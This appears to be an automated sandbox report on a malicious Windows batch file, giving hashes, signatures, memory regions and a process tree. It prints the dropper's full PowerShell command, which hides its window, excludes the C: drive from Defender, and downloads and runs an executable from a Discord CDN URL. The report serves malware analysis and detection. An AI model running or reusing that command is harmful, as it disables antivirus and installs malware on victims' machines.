Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-03-2024 11:21

General

  • Target

    sekmeme olta/sekmemeotoayar.bat

  • Size

    12KB

  • MD5

    b585b6ebb583d11eebb2ff5392d27724

  • SHA1

    98e215b33ee123d0f3e1d9ca88af3d6ea2c89a3c

  • SHA256

    a3a60d095e054a2fb6b951cb499df5bae45d6c4361cd9c3a338a61690e388ea1

  • SHA512

    ce07e1daeec628ef391c0b11d6240e9606c8440d3cf09217b81788e7d0de5ecdbd66653a57276d6c3731523c6a64ac921b5e870386b571828d201f86481496c3

  • SSDEEP

    384:1bvuYOOQ1CvlyejVghBYjiVKRq5aixzorf9BLEHQ:1bXf8oKK80ixuUHQ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://cdn.discordapp.com/attachments/1167569425721995295/1167776678743908422/Exela.exe

Signatures

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sekmeme olta\sekmemeotoayar.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3432
    • C:\Windows\system32\fsutil.exe
      fsutil dirty query C:
      2⤵
        PID:2752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -c Add-MpPreference -ExclusionPath "C:";Start-BitsTransfer -Source "https://cdn.discordapp.com/attachments/1167569425721995295/1167776678743908422/Exela.exe" -Destination "C:\srchost.bat";Invoke-expression "C:\srchost.bat"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:664

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iixmj4q2.h43.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/664-9-0x000002285B720000-0x000002285B742000-memory.dmp

      Filesize

      136KB

    • memory/664-10-0x00007FFB34160000-0x00007FFB34C21000-memory.dmp

      Filesize

      10.8MB

    • memory/664-11-0x000002285B7A0000-0x000002285B7B0000-memory.dmp

      Filesize

      64KB

    • memory/664-12-0x000002285B7A0000-0x000002285B7B0000-memory.dmp

      Filesize

      64KB

    • memory/664-13-0x000002285B7A0000-0x000002285B7B0000-memory.dmp

      Filesize

      64KB

    • memory/664-14-0x000002285DB60000-0x000002285DB86000-memory.dmp

      Filesize

      152KB

    • memory/664-15-0x000002285DBC0000-0x000002285DBD4000-memory.dmp

      Filesize

      80KB

    • memory/664-16-0x00007FFB34160000-0x00007FFB34C21000-memory.dmp

      Filesize

      10.8MB

    • memory/664-17-0x000002285B7A0000-0x000002285B7B0000-memory.dmp

      Filesize

      64KB

    • memory/664-20-0x000002285B7A0000-0x000002285B7B0000-memory.dmp

      Filesize

      64KB

    • memory/664-21-0x00007FFB34160000-0x00007FFB34C21000-memory.dmp

      Filesize

      10.8MB